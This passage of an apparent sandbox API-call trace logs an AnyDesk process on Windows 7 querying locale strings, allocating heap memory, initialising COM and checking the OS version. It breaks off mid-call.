lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AM", lpUsedDefaultChar=0x0) returned 3 [0282.997] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x3) returned 0x193ebc0 [0282.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0282.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x12d5d58, cchData=3 | out: lpLCData="PM") returned 3 [0282.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PM", cchWideChar=-1, lpMultiByteStr=0x12d5ddc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PM", lpUsedDefaultChar=0x0) returned 3 [0282.997] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x3) returned 0x193ebd0 [0282.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0282.997] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x12d5d88, cchData=9 | out: lpLCData="M/d/yyyy") returned 9 [0282.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M/d/yyyy", cchWideChar=-1, lpMultiByteStr=0x12d5e18, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M/d/yyyy", lpUsedDefaultChar=0x0) returned 9 [0282.998] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x9) returned 0x193eef0 [0282.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 20 [0282.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x12d5d58, cchData=20 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0282.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="dddd, MMMM dd, yyyy", cchWideChar=-1, lpMultiByteStr=0x12d5e04, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dddd, MMMM dd, yyyy", lpUsedDefaultChar=0x0) returned 20 [0282.998] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x14) returned 0x193d550 [0282.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 11 [0282.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x12d5d58, cchData=11 | out: lpLCData="h:mm:ss tt") returned 11 [0282.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h:mm:ss tt", cchWideChar=-1, lpMultiByteStr=0x12d5df0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h:mm:ss tt", lpUsedDefaultChar=0x0) returned 11 [0282.998] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xb) returned 0x193ef08 [0282.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x20001009, lpLCData=0x12d5dd8, cchData=2 | out: lpLCData="\x01") returned 2 [0282.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.998] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ebe0 [0282.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x193ebe0, cchData=4 | out: lpLCData="Mon") returned 4 [0282.998] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.999] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ebf0 [0282.999] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x193ebf0, cchData=4 | out: lpLCData="Tue") returned 4 [0282.999] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.999] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ec00 [0282.999] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x193ec00, cchData=4 | out: lpLCData="Wed") returned 4 [0282.999] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.999] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ec10 [0282.999] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x193ec10, cchData=4 | out: lpLCData="Thu") returned 4 [0282.999] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.999] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ec20 [0282.999] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x193ec20, cchData=4 | out: lpLCData="Fri") returned 4 [0282.999] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.999] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ec30 [0282.999] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x193ec30, cchData=4 | out: lpLCData="Sat") returned 4 [0282.999] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0282.999] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ec40 [0282.999] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x193ec40, cchData=4 | out: lpLCData="Sun") returned 4 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0283.000] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xe) returned 0x193ef20 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x193ef20, cchData=7 | out: lpLCData="Monday") returned 7 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0283.000] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x10) returned 0x193ef38 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x193ef38, cchData=8 | out: lpLCData="Tuesday") returned 8 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0283.000] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x14) returned 0x193d570 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x193d570, cchData=10 | out: lpLCData="Wednesday") returned 10 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0283.000] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x12) returned 0x193d590 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x193d590, cchData=9 | out: lpLCData="Thursday") returned 9 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0283.000] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xe) returned 0x193ef50 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x193ef50, cchData=7 | out: lpLCData="Friday") returned 7 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0283.000] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x12) returned 0x193d5b0 [0283.000] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x193d5b0, cchData=9 | out: lpLCData="Saturday") returned 9 [0283.001] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0283.001] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xe) returned 0x193ef68 [0283.001] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x193ef68, cchData=7 | out: lpLCData="Sunday") returned 7 [0283.001] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.001] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ec50 [0283.001] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x193ec50, cchData=4 | out: lpLCData="Jan") returned 4 [0283.001] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.001] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ec60 [0283.001] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x193ec60, cchData=4 | out: lpLCData="Feb") returned 4 [0283.001] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.001] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193ec70 [0283.001] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x193ec70, cchData=4 | out: lpLCData="Mar") returned 4 [0283.001] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.001] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193f290 [0283.001] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x193f290, cchData=4 | out: lpLCData="Apr") returned 4 [0283.001] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.001] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193f2a0 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x193f2a0, cchData=4 | out: lpLCData="May") returned 4 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.002] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193f2b0 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x193f2b0, cchData=4 | out: lpLCData="Jun") returned 4 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.002] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193f2c0 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x193f2c0, cchData=4 | out: lpLCData="Jul") returned 4 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.002] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193f2d0 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x193f2d0, cchData=4 | out: lpLCData="Aug") returned 4 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.002] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193f2e0 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x193f2e0, cchData=4 | out: lpLCData="Sep") returned 4 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.002] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193f2f0 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x193f2f0, cchData=4 | out: lpLCData="Oct") returned 4 [0283.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.002] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193f300 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x193f300, cchData=4 | out: lpLCData="Nov") returned 4 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.003] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193f310 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x193f310, cchData=4 | out: lpLCData="Dec") returned 4 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0283.003] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x10) returned 0x193ef80 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x193ef80, cchData=8 | out: lpLCData="January") returned 8 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0283.003] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x12) returned 0x193d5d0 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x193d5d0, cchData=9 | out: lpLCData="February") returned 9 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0283.003] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xc) returned 0x193ef98 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x193ef98, cchData=6 | out: lpLCData="March") returned 6 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0283.003] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xc) returned 0x193efb0 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x193efb0, cchData=6 | out: lpLCData="April") returned 6 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0283.003] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8) returned 0x193f320 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x193f320, cchData=4 | out: lpLCData="May") returned 4 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0283.003] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xa) returned 0x193efc8 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x193efc8, cchData=5 | out: lpLCData="June") returned 5 [0283.003] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0283.003] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xa) returned 0x193efe0 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x193efe0, cchData=5 | out: lpLCData="July") returned 5 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0283.004] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xe) returned 0x193eff8 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x193eff8, cchData=7 | out: lpLCData="August") returned 7 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0283.004] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x14) returned 0x193d5f0 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x193d5f0, cchData=10 | out: lpLCData="September") returned 10 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0283.004] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x10) returned 0x193f010 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x193f010, cchData=8 | out: lpLCData="October") returned 8 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0283.004] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x12) returned 0x193d610 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x193d610, cchData=9 | out: lpLCData="November") returned 9 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0283.004] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x12) returned 0x193d630 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x193d630, cchData=9 | out: lpLCData="December") returned 9 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0283.004] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x6) returned 0x193f330 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x193f330, cchData=3 | out: lpLCData="AM") returned 3 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0283.004] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x6) returned 0x193f340 [0283.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x193f340, cchData=3 | out: lpLCData="PM") returned 3 [0283.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0283.005] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x12) returned 0x193d650 [0283.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x193d650, cchData=9 | out: lpLCData="M/d/yyyy") returned 9 [0283.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 20 [0283.005] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x28) returned 0x193f678 [0283.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x193f678, cchData=20 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0283.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 11 [0283.005] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x16) returned 0x193d670 [0283.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x1003, lpLCData=0x193d670, cchData=11 | out: lpLCData="h:mm:ss tt") returned 11 [0283.005] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x355) returned 0x193f6a8 [0283.005] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f6a8 | out: hHeap=0x1930000) returned 1 [0283.006] GetLastError () returned 0x0 [0283.006] SetLastError (dwErrCode=0x0) [0283.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x12d60f4 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x12d60f4) returned 1 [0283.006] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x1) returned 0x193f350 [0283.006] GetLastError () returned 0x0 [0283.006] SetLastError (dwErrCode=0x0) [0283.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x193f350, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x12d60f4 | out: lpMultiByteStr="", lpUsedDefaultChar=0x12d60f4) returned 1 [0283.007] GetLastError () returned 0x0 [0283.007] SetLastError (dwErrCode=0x0) [0283.007] GetLastError () returned 0x0 [0283.007] SetLastError (dwErrCode=0x0) [0283.007] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xd8) returned 0x193f6a8 [0283.007] GetLastError () returned 0x0 [0283.007] SetLastError (dwErrCode=0x0) [0283.007] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x355) returned 0x193f788 [0283.007] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f788 | out: hHeap=0x1930000) returned 1 [0283.009] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e138 | out: hHeap=0x1930000) returned 1 [0283.009] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f350 | out: hHeap=0x1930000) returned 1 [0283.009] GetLastError () returned 0x0 [0283.009] SetLastError (dwErrCode=0x0) [0283.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x193d494, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0283.009] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x193e138 [0283.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x193d494, cbMultiByte=-1, lpWideCharStr=0x193e13c, cchWideChar=27 | out: lpWideCharStr="English_United States.1252") returned 27 [0283.011] OleInitialize (pvReserved=0x0) returned 0x0 [0283.018] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0283.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0aa80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0283.038] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xb2) returned 0x193f788 [0283.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0aa80, cbMultiByte=-1, lpWideCharStr=0x193f788, cchWideChar=89 | out: lpWideCharStr="Unable to initialize AnyDesk.\nPlease contact support@anydesk.com if you see this error.\n") returned 89 [0283.038] GetVersionExW (in: lpVersionInformation=0x12d5e1c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x12d5e1c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0283.038] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x8 [0283.039] VerSetConditionMask (ConditionMask=0x8, TypeMask=0x80000000, Condition=0x1) returned 0x9 [0283.039] VerifyVersionInfoW (in: lpVersionInformation=0x12d5cdc, dwTypeMask=0x3, dwlConditionMask=0x9 | out: lpVersionInformation=0x12d5cdc) returned 0 [0283.039] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x8 [0283.039] VerSetConditionMask (ConditionMask=0x8, TypeMask=0x80000000, Condition=0x1) returned 0x9 [0283.039] VerifyVersionInfoW (in: lpVersionInformation=0x12d5cdc, dwTypeMask=0x3, dwlConditionMask=0x9 | out: lpVersionInformation=0x12d5cdc) returned 0 [0283.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc271ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0283.039] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x193d690 [0283.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc271ec, cbMultiByte=-1, lpWideCharStr=0x193d690, cchWideChar=10 | out: lpWideCharStr="Windows 7") returned 10 [0283.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ca40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0283.039] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x193f028 [0283.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ca40, cbMultiByte=-1, lpWideCharStr=0x193f028, cchWideChar=5 | out: lpWideCharStr="OS: ") returned 5 [0283.039] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x193e180 [0283.039] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xcc) returned 0x193f848 [0283.039] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f788 | out: hHeap=0x1930000) returned 1 [0283.039] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e180 | out: hHeap=0x1930000) returned 1 [0283.039] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f028 | out: hHeap=0x1930000) returned 1 [0283.039] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d690 | out: hHeap=0x1930000) returned 1 [0283.040] GetLastError () returned 0x47e [0283.040] SetLastError (dwErrCode=0x47e) [0283.040] GetLastError () returned 0x47e [0283.040] SetLastError (dwErrCode=0x47e) [0283.040] GetLastError () returned 0x47e [0283.040] SetLastError (dwErrCode=0x47e) [0283.040] GetLastError () returned 0x47e [0283.040] SetLastError (dwErrCode=0x47e) [0283.040] GetLastError () returned 0x47e [0283.040] SetLastError (dwErrCode=0x47e) [0283.040] GetLastError () returned 0x47e [0283.040] SetLastError (dwErrCode=0x47e) [0283.040] GetLastError () returned 0x47e [0283.040] SetLastError (dwErrCode=0x47e) [0283.040] GetLastError () returned 0x47e [0283.040] SetLastError (dwErrCode=0x47e) [0283.040] GetLastError () returned 0x47e [0283.040] SetLastError (dwErrCode=0x47e) [0283.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12d5b14, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0283.040] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x193e180 [0283.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12d5b14, cbMultiByte=-1, lpWideCharStr=0x193e180, cchWideChar=14 | out: lpWideCharStr=", Mode: gsvc\n") returned 14 [0283.040] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe6) returned 0x193f920 [0283.041] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f848 | out: hHeap=0x1930000) returned 1 [0283.041] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193e180 | out: hHeap=0x1930000) returned 1 [0283.041] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x12d5f8c | out: pszPath="C:\\ProgramData") returned 0x0 [0283.066] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x193e180 [0283.066] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930be8 | out: hHeap=0x1930000) returned 1 [0283.066] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1930bd8 | out: hHeap=0x1930000) returned 1 [0283.066] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x193e1a8 [0283.066] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x193e1d0 [0283.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0283.066] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f028 [0283.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x193f028, cchWideChar=8 | out: 